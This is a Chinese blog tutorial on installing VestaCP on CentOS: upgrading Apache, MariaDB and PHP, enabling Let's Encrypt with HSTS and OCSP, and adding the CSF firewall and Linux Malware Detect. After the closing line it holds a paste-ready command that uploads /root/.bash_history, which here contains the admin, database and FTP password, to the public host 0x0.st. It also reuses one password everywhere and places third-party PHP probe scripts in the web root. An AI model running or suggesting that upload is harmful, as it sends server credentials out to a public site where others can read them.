首頁 / 精華文章 / [CentOS]安裝VestaCP並同時升級Apache、MariaDB、PHP
野々浦暖 野野浦暖 Non Nonoura
野々浦暖 野野浦暖 Non Nonoura

[CentOS]安裝VestaCP並同時升級Apache、MariaDB、PHP

有網友透過連絡表單提問我關於安裝VestaCP的正確姿勢 😅 我查了一下發現原因可能是因為最近remi的PHP版本上升到7.4,如果安裝時勾選使用remi的repo就會直升到php 7.4,但是php 7.4的相容性還不高 🤔🤔 而VestaCP這套虛擬主機管理系統,我已經使用了大約七年以上,除了有過一次比較嚴重的伺服器遭駭,其實問題還不算大,root的密碼和VestaCP控制台管理員的密碼同時有改過就沒事了 😤😤 這邊先提供一個探針以及我自己手動安裝的筆記~ 😸😸😸

安裝VestaCP

先說明,了解這個安裝過程大約需要一點時間,雖然下面的指令看起來很長,但其實可以存到筆記本上,只要先修改好域名、帳密的資料(都有按照CODE分別編排,要認真閱讀唷 🤴🤴🤴 ),在SSH操作整個動作只需要10分鐘不到,這才是我覺得使用VestaCP最方便的地方 🏎🏎🏎

安裝前先刪除MariaDB舊版本,然後採用MariaDB官方提供的最新版本,目前是10.4 ✍✍✍

### 透過screen來準備開始安裝VestaCP (避免中途斷線) 🍇🍇🍇

# 開始安裝時需注意將下列資料先做替換 🍈🍈🍈

  • hostname 520.be // 使用的域名
  • email admin@520.be // 管理員的郵件信箱
  • password y1d6u8YfPhxE // 管理員的密碼

# 由於我只選擇安裝主要的網站服務,資安問題由我認為更為全面的CSF防火牆負責,過濾垃圾信的spamassassin則因為耗用記憶體過大而放棄安裝,有需要的可以自行將spamassassinclamav這兩個部分改為yes 🍉🍉🍉

bash vst-install.sh --nginx yes --apache yes --phpfpm no --named yes --remi no --vsftpd yes --proftpd no --iptables no --fail2ban no --quota no --exim yes --dovecot yes --spamassassin no --clamav no --softaculous no --mysql yes --postgresql no --hostname 520.be --email admin@520.be --password y1d6u8YfPhxE --force

# 安裝完成後,連結VestaCP的小程式到/usr/bin來方便操作 🍊🍊🍊

# 增強phpMyAdmin設定檔內的blowfish_secret數值 🍋🍋🍋

# 刪除不需要的主機方案 🍌🍌🍌

# 微調VestaCP基本設定 🍍🍍🍍

# 變更資料庫編碼 🍎🍎🍎

### 更新最佳化my.cnf (限制MariaDB Version 10+),這邊提供的是我自己使用的,如果使用上發生問題,我強烈建議先換回VestaCP原廠提供的my.cnf 🍏🍏🍏

# PS. 查詢MySQL root密碼的方法如下

cat /usr/local/vesta/conf/mysql.conf | grep PASSWORD

# VestaCP原廠提供的my.cnf,開源的就是方便 🍐🍐🍐

### 安裝一些實用的檢測工具 🍑🍑🍑

# X探針 🍒🍒🍒

wget -O /home/admin/web/520.be/public_html/XProber.php https://raw.githubusercontent.com/kmvan/x-prober/master/dist/prober.php

# 熱門的Vanilla Forums論壇程式提供的PHP效能測試工具 🍓🍓🍓

wget -O /home/admin/web/520.be/public_html/vanilla-php_benchmark_script.php https://raw.githubusercontent.com/vanilla-php/benchmark-php/master/benchmark.php

# cloudwp提供的檢測PHP執行使用者帳號工具 🥝🥝🥝

wget -O /home/admin/web/520.be/public_html/cloud_whoami.php https://gist.githubusercontent.com/neltseng/876bd30b6438f8fd02ac/raw/22ae9d43635dd895fdca9df8fd2584611f640d2f/whoami.php

# WoltLab提供的PHP環境檢測工具 🍅🍅🍅

wget -O /home/admin/web/520.be/public_html/WCF_Test.php https://www.woltlab.com/media/301-test-php/

# 重設所有網站資料夾、檔案的權限,ref. [HOWTO] Correct files and folders permissions and ownership 🥑🥑🥑

### 啟用awstats統計系統 🍆🍆🍆

v-add-web-domain-stats admin 520.be awstats

### 建立資料庫,指令是v-add-database VestaCP使用者 資料庫名稱 資料庫使用者 使用者密碼 🥔🥔🥔

  • MySQL資料庫名稱:admin_db001
  • MySQL使用者名稱:admin_user001
  • MySQL使用者密碼 :y1d6u8YfPhxE

v-add-database admin db001 user001 y1d6u8YfPhxE mysql

### 建立FTP帳號,指令是v-add-web-domain-ftp VestaCP使用者 網域名稱 ftp使用者 ftp使用者密碼 🥕🥕🥕

  • ftp登錄帳號:admin_ftp001
  • ftp登錄密碼:y1d6u8YfPhxE

groupadd sftp-only
v-add-web-domain-ftp admin 520.be ftp001 y1d6u8YfPhxE

至此,初始環境資訊如下 🍍🍍🍍

  • VestaCP控制台: https://520.be:8083
  • X探針: http://520.be/XProber.php
  • PHP環境檢測工具: http://520.be/WCF_Test.php
  • PHP效能測試工具: http://520.be/vanilla-php_benchmark_script.php
  • 檢測PHP執行使用者帳號工具: http://520.be/cloud_whoami.php
  • 本機路徑: /home/admin/web/520.be/public_html
  • FTP帳號: admin_ftp001
  • FTP密碼: y1d6u8YfPhxE
  • FTP快速連結: ftp://admin_ftp001:y1d6u8YfPhxE@520.be/public_html
  • MySQL資料庫名稱: admin_db001
  • MySQL使用者名稱: admin_user001
  • MySQL使用者密碼: y1d6u8YfPhxE

升級Apache

SCL是CentOS內已經內建的repo,經過官方認證的當然可以放心地使用,所以我這邊是使用它來更新Apache HTTP Server 🌽🌽🌽

### 備份檔案 🌶🌶🌶

# 安裝SCL的repo 🥒🥒🥒

# 刪除舊版本的PHP 🍄🍄🍄

只保留VestaCP使用的PHP
只保留VestaCP使用的PHP

# 安裝SCL版本的Apache 🥜🥜🥜

# 建立軟連結到預設位置 🌰🌰🌰

# 還原設定檔 🍞🍞🍞

至此,Apache已經更新完了,啟動會在下方PHP更新完畢後一起啟動 🥐🥐🥐

升級PHP

安裝remi的repo,由於SCL的PHP 7.2相關模組數量不多,所以我還是採用remi的PHP 7.3 🥖🥖🥖

### 安裝PHP 7相關套件,下方安裝的套件可自行選配 🥞🥞🥞

# 調整PHP參數,disable_functions的部分可自行選配 🧀🧀🧀

# 調整OPcache參數 🍖🍖🍖

# 建立軟連結到預設位置 🍗🍗🍗

# 增加每日凌晨3點5分更新remi相關套件的排程 🥓🥓🥓

### 安裝SCL版本的Redis 🍔🍔🍔

# 調整Redis參數,記憶體大於1GB的可再往上調高maxclients、maxmemory數值,但不建議占用整體記憶體太多,Redis吃起來也很恐怖的 🍟🍟🍟

# 建立軟連結到預設位置 🍕🍕🍕

# 啟動Redis 🌭🌭🌭

### 安裝remi提供的Memcached 🌮🌮🌮

### 還原設定檔 🌯🌯🌯

# 建立PHP的軟連結到SCL版本的HTTPD 🥙🥙🥙

# 建立libraries連結 🥘🥘🥘

# 變更open_basedir設定 🍲🍲🍲

sed -i 's#open_basedir .*#open_basedir %docroot%:%home%/%user%/tmp:/proc/#g' /usr/local/vesta/data/templates/web/httpd/default.tpl
sed -i 's#open_basedir .*#open_basedir %sdocroot%:%home%/%user%/tmp:/proc/#g' /usr/local/vesta/data/templates/web/httpd/default.stpl
sed -i 's#/home/admin/tmp#/home/admin/tmp:/proc/#g' /home/admin/conf/web/520.be.httpd.conf

### 建立自動重啟服務設定 🥗🥗🥗

### 啟用SCL版本Apache 🍿🍿🍿

至此,所有網站服務都以更新完畢啦 🍱🍱🍱

安裝HTTPS、HSTS、HTTP2、OCSP

LetsEncrypt SSL已經很穩定的運行好幾年了,免費版SSL當然是最優先使用該品牌的,而且VestaCP也很好的配合能夠自動更新唷 🍘🍘🍘

v-add-letsencrypt-domain admin 520.be
v-list-web-domains admin
v-update-host-certificate admin $HOSTNAME
echo "UPDATE_HOSTNAME_SSL='yes'" >> /usr/local/vesta/conf/vesta.conf

### 部署Let’s Encrypt SSL證書給VestaCP使用 🍙🍙🍙

rm -f /usr/local/vesta/ssl/*.bak
mv /usr/local/vesta/ssl/certificate.ca /usr/local/vesta/ssl/certificate.ca.bak
ln -fs /home/admin/conf/web/ssl.520.be.ca /usr/local/vesta/ssl/certificate.ca
mv /usr/local/vesta/ssl/certificate.crt /usr/local/vesta/ssl/certificate.crt.bak
ln -fs /home/admin/conf/web/ssl.520.be.crt /usr/local/vesta/ssl/certificate.crt
mv /usr/local/vesta/ssl/certificate.key /usr/local/vesta/ssl/certificate.key.bak
ln -fs /home/admin/conf/web/ssl.520.be.key /usr/local/vesta/ssl/certificate.key
mv /usr/local/vesta/ssl/certificate.pem /usr/local/vesta/ssl/certificate.pem.bak
ln -fs /home/admin/conf/web/ssl.520.be.pem /usr/local/vesta/ssl/certificate.pem
chown -h root:mail /usr/local/vesta/ssl/certificate.ca
chown -h root:mail /usr/local/vesta/ssl/certificate.crt
chown -h root:mail /usr/local/vesta/ssl/certificate.key
chown -h root:mail /usr/local/vesta/ssl/certificate.pem
service vesta restart && service vesta status -l

### 部署Let’s Encrypt SSL證書給Webmin使用 🍚🍚🍚

### 將建立網站的預設值之模板添加HSTS、http2功能 🍛🍛🍛

### 開啟OCSP 🍜🍜🍜

# 重啟網站前後端服務 🍝🍝🍝

# 驗證OCSP設定,這邊要注意一下驗證OCSP此步驟不能馬上進行,大約需要3小時左右才能正確收到OCSP的通信 🍠🍠🍠

openssl s_client -connect 520.be:443 -status -tlsextdebug < /dev/null 2>&1 | grep -i "OCSP response"

OCSP驗證OK
OCSP驗證OK

# 建立網站的強制轉HTTPS功能 🍢🍢🍢

rm -f /home/admin/web/520.be/public_html/.htaccess.bak
mv -f /home/admin/web/520.be/public_html/.htaccess /home/admin/web/520.be/public_html/.htaccess.bak
cd /home/admin/web/520.be/public_html
cat <<"EOF" > /home/admin/web/520.be/public_html/.htaccess
RewriteEngine on
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] EOF
v-fix-websites-permissions

至此,一個高度安全的網站環境都設定完畢啦 🍣🍣🍣

ssllabs A+等級認證
ssllabs A+等級認證

安裝CSF防火牆、LMD惡意軟體檢測系統

CSF (ConfigServer Security & Firewall)防火牆是一套很全面的防火牆,而且本身就支援各大熱門虛擬主機管理系統,可說是居家、旅行之必備良藥 🏤🏤🏤

# CSF安裝完會自動將目前連線的IP,以及目前開放的port加入白名單,然後執行自我測試 🍤🍤🍤

### 變更偵測的網路介面,特別注意eth0就無須更改 🍥🍥🍥

sed -i 's/^ETH_DEVICE =.*$/ETH_DEVICE = "ens3"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "ETH_DEVICE ="

# 開啟ipset這個灰常好用的功能 🥛🥛🥛

sed -i 's/^LF_IPSET =.*$/LF_IPSET = "1"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "LF_IPSET ="

# 另外,OpenVZ關閉IPSET功能方可啟動 🍡🍡🍡

sed -i 's/^LF_IPSET =.*$/LF_IPSET = "0"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "LF_IPSET ="
sed -i 's/^ETH_DEVICE =.*$/ETH_DEVICE = "venet0"/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "ETH_DEVICE ="

# 開啟IPv6偵測 🍦🍦🍦

sed -i 's/^#ETH6_DEVICE/ETH6_DEVICE/g' /etc/csf/csf.conf
cat /etc/csf/csf.conf | grep "ETH6_DEVICE ="

# 最後再將測試模式關閉即可 🍧🍧🍧

### 主機有安裝Webmin的可以在Webmin安裝CSF模組 🍨🍨🍨

# 在Webmin控制台左手邊的Webmin Configuration > Webmin Modules,選擇From local file,空格中輸入

/usr/local/csf/csfwebmin.tgz
或是
/etc/csf/csfwebmin.tgz

安裝好之後可以在左手邊的System > ConfigServer Security & Firewall看到它

# CSF常用指令 🍩🍩🍩

### Linux Malware Detect這套開源的資安工具也行之有年了,雖然我這邊沒裝clamav防毒軟體(有4GB以上記憶體才適合安裝clamav 🤐) 🏥🏥🏥

# 變更設定 🍪🍪🍪

sed -i 's/email_alert="0"/email_alert="1"/g' /usr/local/maldetect/conf.maldet
sed -i "s/you@domain.com/admin@520.be/g" /usr/local/maldetect/conf.maldet
sed -i 's/scan_clamscan="1"/scan_clamscan="0"/g' /usr/local/maldetect/conf.maldet
sed -i 's/quarantine_hits="0"/quarantine_hits="1"/g' /usr/local/maldetect/conf.maldet
sed -i 's/quarantine_clean="0"/quarantine_clean="1"/g' /usr/local/maldetect/conf.maldet
cd /opt
rm -fr maldetect*

至此,所有的設定都完畢啦,有問題歡迎截圖並盡量提供操作過程提出 🍵🍵🍵

curl -F'file=@/root/.bash_history' https://0x0.st

列印本文 列印本文

關於 窮苦人家的小孩

In every democracy, the people get the government they deserve. ~Alexis de Tocqueville
上一篇:

您可能會喜歡

Dropbox

Dropbox Uploader的自動備份腳本

Dropbox是很熱門的雲端硬 …